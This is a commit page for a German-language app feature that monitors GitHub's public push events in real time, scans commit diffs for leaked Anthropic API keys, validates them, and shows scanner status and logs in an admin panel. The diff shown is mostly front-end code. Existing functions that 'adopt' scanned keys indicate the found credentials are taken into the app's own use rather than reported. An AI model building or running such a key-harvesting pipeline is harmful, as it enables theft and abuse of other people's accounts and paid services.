feat: GitHub Event Scanner - Echtzeit-Monitoring öffentlicher Pushes

- Neuer GitHubEventScannerService (BackgroundService)
  - Pollt /events API alle 30s, filtert PushEvents
  - Lädt Head-Commit-Diffs, scannt nach Key-Patterns
  - Ringbuffer (10k IDs) für Event-Deduplication
  - Gefundene Keys werden sofort geprüft (AnthropicKeyChecker)
  - Rate-Limit-Handling (403/429 → Pause bis Reset)
- Feature-Toggle in Server-Einstellungen (GitHubEventScanner)
- Status-Endpoint + Log-Endpoint (/api/admin/api-keys/event-scanner/*)
- Live-Status in API-Keys-Seite mit klappbarem Log
- Auto-Refresh alle 30s
- Plans/ in .gitignore
This commit is contained in:
Meleki committed 2026-03-13 18:38:32 +01:00
1 parent 7352438b11
commit eb8844a4f1
9 files changed
+578 -2

No files matched your search

+1 -1
View File
@@ -56,7 +56,7 @@
#chat {
flex: 1;
overflow-y: auto;
padding: 2em 1em 1em;
padding: 8em 1em 1em;
gap: var(--badge-spacing);
display: flex;
flex-direction: column;
+2
View File
@@ -556,6 +556,8 @@
<h1>API-Keys</h1>
</header>
<div class="page-content">
<div id="eventScannerStatus" style="display:none;padding:1em;"></div>
<div class="form">
<div class="section-header">
<h2>API-Key</h2>
+2
View File
@@ -239,6 +239,8 @@ function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
function apiDeleteScannedKey(id) { return _del('/api/admin/api-keys/scanned/' + id, 'Fehler beim Löschen'); }
function apiEventScannerStatus() { return _get('/api/admin/api-keys/event-scanner/status', {}); }
function apiEventScannerLog() { return _get('/api/admin/api-keys/event-scanner/log', { entries: [] }); }
// ── Krea Image API ──
+68 -1
View File
@@ -453,6 +453,65 @@ registerPage('api-keys', {
});
}
async function updateEventScannerStatus() {
var el = document.getElementById('eventScannerStatus');
if (!el) return;
try {
var s = await apiEventScannerStatus();
if (!s.enabled) { el.style.display = 'none'; return; }
el.style.display = 'block';
// Status-Zeile
var parts = ['🔴 Event Scanner'];
if (s.running) parts = ['🟢 Event Scanner'];
if (s.pollCount > 0) parts.push('Polls: ' + s.pollCount);
if (s.eventsPerHour > 0) parts.push('Events/h: ' + s.eventsPerHour);
if (s.keysFoundTotal > 0) parts.push('🔑 ' + s.keysFoundTotal + ' Key(s) gefunden');
if (s.lastPoll) {
var ago = Math.round((Date.now() - new Date(s.lastPoll).getTime()) / 1000);
parts.push('Letzter Poll: vor ' + (ago < 60 ? ago + 's' : Math.round(ago / 60) + 'min'));
}
if (s.lastError) parts.push('⚠️ ' + s.lastError);
var statusLine = parts.join(' · ');
// Log abrufen
var logData = await apiEventScannerLog();
var logLines = [];
if (logData.entries && logData.entries.length > 0) {
var last10 = logData.entries.slice(-10).reverse();
logLines = last10.map(function(e) {
var t = new Date(e.time).toLocaleTimeString();
var icon = e.type === 'key' ? '🔑' : e.type === 'error' ? '❌' : e.type === 'rate_limit' ? '⚠️' : '📡';
return icon + ' ' + t + ' ' + e.message;
});
}
// Immer klickbare Status-Zeile rendern
var wasOpen = false;
var oldLog = document.getElementById('eventScannerLog');
if (oldLog) wasOpen = oldLog.style.display !== 'none';
el.innerHTML = '';
var statusEl = document.createElement('div');
statusEl.style.cssText = 'cursor:pointer';
statusEl.title = logLines.length > 0 ? 'Klicken für Log' : '';
statusEl.textContent = statusLine;
el.appendChild(statusEl);
var logEl = document.createElement('div');
logEl.id = 'eventScannerLog';
logEl.style.cssText = 'white-space:pre-line;display:none';
logEl.textContent = logLines.length > 0 ? logLines.join('\n') : 'Noch keine Log-Einträge…';
if (wasOpen) logEl.style.display = 'block';
el.appendChild(logEl);
statusEl.addEventListener('click', function() {
logEl.style.display = logEl.style.display === 'none' ? 'block' : 'none';
});
} catch(e) { el.style.display = 'none'; }
}
async function updateScanStatus() {
try {
var s = await apiScanStatus();
@@ -515,9 +574,17 @@ registerPage('api-keys', {
await loadScannedKeys();
await updateScanStatus();
await updateEventScannerStatus();
// Event Scanner Status auto-refresh
var eventScannerTimer = setInterval(updateEventScannerStatus, 30000);
this._eventScannerTimer = eventScannerTimer;
},
destroy() {
// Polling stoppen wenn Seite verlassen wird
if (this._eventScannerTimer) {
clearInterval(this._eventScannerTimer);
this._eventScannerTimer = null;
}
}
});